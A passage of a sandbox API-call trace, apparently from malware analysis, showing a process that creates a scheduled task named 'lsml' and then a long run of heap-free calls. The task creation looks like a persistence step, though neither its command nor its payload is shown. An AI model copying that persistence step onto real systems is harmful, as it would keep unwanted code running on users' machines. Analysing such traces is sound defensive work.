lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0083.880] GetConsoleOutputCP () returned 0x0 [0083.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0083.880] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0083.880] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0083.880] IUnknown:Release (This=0x5f6400) returned 0x0 [0083.880] TaskScheduler:IUnknown:Release (This=0x5f7cc0) returned 0x0 [0083.880] TaskScheduler:IUnknown:Release (This=0x5f7c70) returned 0x0 [0083.881] TaskScheduler:IUnknown:Release (This=0xcdee0) returned 0x1 [0083.881] lstrlenW (lpString="") returned 0 [0083.881] lstrlenW (lpString="14") returned 2 [0083.881] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="14", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0083.881] GetProcessHeap () returned 0x360000 [0083.881] GetProcessHeap () returned 0x360000 [0083.881] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c450) returned 1 [0083.881] GetProcessHeap () returned 0x360000 [0083.881] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c450) returned 0x1fc [0083.882] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c450 | out: hHeap=0x360000) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377f30) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377f30) returned 0x6 [0083.882] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377f30 | out: hHeap=0x360000) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d620) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d620) returned 0x16 [0083.882] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d620 | out: hHeap=0x360000) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d600) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d600) returned 0x18 [0083.882] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d600 | out: hHeap=0x360000) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce70) returned 1 [0083.882] GetProcessHeap () returned 0x360000 [0083.882] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce70) returned 0x20 [0083.883] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce70 | out: hHeap=0x360000) returned 1 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c0f0) returned 1 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c0f0) returned 0xa0 [0083.883] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c0f0 | out: hHeap=0x360000) returned 1 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb70) returned 1 [0083.883] GetProcessHeap () returned 0x360000 [0083.883] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bb70) returned 0x18 [0083.884] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x360000) returned 1 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc30) returned 1 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cc30) returned 0x20 [0083.884] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc30 | out: hHeap=0x360000) returned 1 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377c10) returned 1 [0083.884] GetProcessHeap () returned 0x360000 [0083.884] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377c10) returned 0x30 [0083.885] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377c10 | out: hHeap=0x360000) returned 1 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d640) returned 1 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d640) returned 0x18 [0083.885] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d640 | out: hHeap=0x360000) returned 1 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc00) returned 1 [0083.885] GetProcessHeap () returned 0x360000 [0083.885] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cc00) returned 0x20 [0083.886] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc00 | out: hHeap=0x360000) returned 1 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377b90) returned 1 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377b90) returned 0x32 [0083.886] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377b90 | out: hHeap=0x360000) returned 1 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d5e0) returned 1 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d5e0) returned 0x18 [0083.886] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d5e0 | out: hHeap=0x360000) returned 1 [0083.886] GetProcessHeap () returned 0x360000 [0083.886] GetProcessHeap () returned 0x360000 [0083.887] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cbd0) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cbd0) returned 0x20 [0083.887] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cbd0 | out: hHeap=0x360000) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c430) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c430) returned 0xe [0083.887] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c430 | out: hHeap=0x360000) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c410) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c410) returned 0x18 [0083.887] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c410 | out: hHeap=0x360000) returned 1 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] GetProcessHeap () returned 0x360000 [0083.887] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375de0) returned 1 [0083.888] GetProcessHeap () returned 0x360000 [0083.888] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375de0) returned 0x20 [0083.888] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375de0 | out: hHeap=0x360000) returned 1 [0083.888] GetProcessHeap () returned 0x360000 [0083.888] GetProcessHeap () returned 0x360000 [0083.888] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bcf0) returned 1 [0083.888] GetProcessHeap () returned 0x360000 [0083.888] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bcf0) returned 0x208 [0083.888] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bcf0 | out: hHeap=0x360000) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb50) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bb50) returned 0x18 [0083.889] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb50 | out: hHeap=0x360000) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375cf0) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375cf0) returned 0x20 [0083.889] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375cf0 | out: hHeap=0x360000) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] GetProcessHeap () returned 0x360000 [0083.889] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d3a0) returned 1 [0083.889] GetProcessHeap () returned 0x360000 [0083.890] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d3a0) returned 0x200 [0083.890] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d3a0 | out: hHeap=0x360000) returned 1 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb90) returned 1 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bb90) returned 0x18 [0083.890] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bb90 | out: hHeap=0x360000) returned 1 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375c60) returned 1 [0083.890] GetProcessHeap () returned 0x360000 [0083.890] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375c60) returned 0x20 [0083.891] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375c60 | out: hHeap=0x360000) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c300) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c300) returned 0x14 [0083.891] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c300 | out: hHeap=0x360000) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2e0) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c2e0) returned 0x18 [0083.891] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2e0 | out: hHeap=0x360000) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375ba0) returned 1 [0083.891] GetProcessHeap () returned 0x360000 [0083.891] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375ba0) returned 0x20 [0083.892] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375ba0 | out: hHeap=0x360000) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c320) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c320) returned 0x16 [0083.892] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c320 | out: hHeap=0x360000) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c1a0) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c1a0) returned 0x18 [0083.892] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c1a0 | out: hHeap=0x360000) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375b70) returned 1 [0083.892] GetProcessHeap () returned 0x360000 [0083.892] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375b70) returned 0x20 [0083.893] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375b70 | out: hHeap=0x360000) returned 1 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37bad0) returned 1 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37bad0) returned 0x2 [0083.893] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37bad0 | out: hHeap=0x360000) returned 1 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x3759c0) returned 1 [0083.893] GetProcessHeap () returned 0x360000 [0083.893] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x3759c0) returned 0x20 [0083.894] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3759c0 | out: hHeap=0x360000) returned 1 [0083.894] GetProcessHeap () returned 0x360000 [0083.894] GetProcessHeap () returned 0x360000 [0083.894] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x3759f0) returned 1 [0083.894] GetProcessHeap () returned 0x360000 [0083.894] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x3759f0) returned 0x20 [0083.894] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3759f0 | out: hHeap=0x360000) returned 1 [0083.894] GetProcessHeap () returned 0x360000 [0083.894] GetProcessHeap () returned 0x360000 [0083.894] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375a20) returned 1 [0083.895] GetProcessHeap () returned 0x360000 [0083.895] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375a20) returned 0x20 [0083.895] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375a20 | out: hHeap=0x360000) returned 1 [0083.895] GetProcessHeap () returned 0x360000 [0083.895] GetProcessHeap () returned 0x360000 [0083.895] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375a50) returned 1 [0083.895] GetProcessHeap () returned 0x360000 [0083.895] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375a50) returned 0x20 [0083.896] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375a50 | out: hHeap=0x360000) returned 1 [0083.896] GetProcessHeap () returned 0x360000 [0083.896] GetProcessHeap () returned 0x360000 [0083.896] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc60) returned 1 [0083.896] GetProcessHeap () returned 0x360000 [0083.896] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cc60) returned 0x20 [0083.896] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc60 | out: hHeap=0x360000) returned 1 [0083.896] GetProcessHeap () returned 0x360000 [0083.896] GetProcessHeap () returned 0x360000 [0083.897] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d740) returned 1 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d740) returned 0xe [0083.897] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d740 | out: hHeap=0x360000) returned 1 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc90) returned 1 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cc90) returned 0x20 [0083.897] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cc90 | out: hHeap=0x360000) returned 1 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377b50) returned 1 [0083.897] GetProcessHeap () returned 0x360000 [0083.897] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377b50) returned 0x30 [0083.898] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377b50 | out: hHeap=0x360000) returned 1 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccc0) returned 1 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ccc0) returned 0x20 [0083.898] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccc0 | out: hHeap=0x360000) returned 1 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377bd0) returned 1 [0083.898] GetProcessHeap () returned 0x360000 [0083.898] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377bd0) returned 0x30 [0083.899] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377bd0 | out: hHeap=0x360000) returned 1 [0083.899] GetProcessHeap () returned 0x360000 [0083.899] GetProcessHeap () returned 0x360000 [0083.899] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce40) returned 1 [0083.899] GetProcessHeap () returned 0x360000 [0083.899] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce40) returned 0x20 [0083.900] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce40 | out: hHeap=0x360000) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d660) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d660) returned 0xe [0083.900] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d660 | out: hHeap=0x360000) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce10) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce10) returned 0x20 [0083.900] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce10 | out: hHeap=0x360000) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d680) returned 1 [0083.900] GetProcessHeap () returned 0x360000 [0083.900] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d680) returned 0x16 [0083.901] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d680 | out: hHeap=0x360000) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cde0) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cde0) returned 0x20 [0083.901] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cde0 | out: hHeap=0x360000) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6a0) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d6a0) returned 0x16 [0083.901] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6a0 | out: hHeap=0x360000) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cdb0) returned 1 [0083.901] GetProcessHeap () returned 0x360000 [0083.901] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cdb0) returned 0x20 [0083.902] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cdb0 | out: hHeap=0x360000) returned 1 [0083.902] GetProcessHeap () returned 0x360000 [0083.902] GetProcessHeap () returned 0x360000 [0083.902] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x399af0) returned 1 [0083.902] GetProcessHeap () returned 0x360000 [0083.902] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x399af0) returned 0x82 [0083.902] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x399af0 | out: hHeap=0x360000) returned 1 [0083.902] GetProcessHeap () returned 0x360000 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd80) returned 1 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd80) returned 0x20 [0083.903] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd80 | out: hHeap=0x360000) returned 1 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6e0) returned 1 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d6e0) returned 0xe [0083.903] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d6e0 | out: hHeap=0x360000) returned 1 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd50) returned 1 [0083.903] GetProcessHeap () returned 0x360000 [0083.903] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd50) returned 0x20 [0083.904] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd50 | out: hHeap=0x360000) returned 1 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d700) returned 1 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d700) returned 0xa [0083.904] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d700 | out: hHeap=0x360000) returned 1 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20) returned 1 [0083.904] GetProcessHeap () returned 0x360000 [0083.904] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd20) returned 0x20 [0083.905] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20 | out: hHeap=0x360000) returned 1 [0083.906] GetProcessHeap () returned 0x360000 [0083.906] GetProcessHeap () returned 0x360000 [0083.906] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d720) returned 1 [0083.906] GetProcessHeap () returned 0x360000 [0083.906] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37d720) returned 0xc [0083.906] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37d720 | out: hHeap=0x360000) returned 1 [0083.906] GetProcessHeap () returned 0x360000 [0083.906] GetProcessHeap () returned 0x360000 [0083.906] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccf0) returned 1 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ccf0) returned 0x20 [0083.907] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccf0 | out: hHeap=0x360000) returned 1 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37baf0) returned 1 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37baf0) returned 0x18 [0083.907] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37baf0 | out: hHeap=0x360000) returned 1 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375a80) returned 1 [0083.907] GetProcessHeap () returned 0x360000 [0083.907] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375a80) returned 0x20 [0083.908] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375a80 | out: hHeap=0x360000) returned 1 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375ab0) returned 1 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375ab0) returned 0x20 [0083.908] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375ab0 | out: hHeap=0x360000) returned 1 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x375ae0) returned 1 [0083.908] GetProcessHeap () returned 0x360000 [0083.908] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375ae0) returned 0x20 [0083.909] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375ae0 | out: hHeap=0x360000) returned 1 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] GetProcessHeap () returned 0x360000 [0083.909] HeapValidate (hHeap=0x360000, 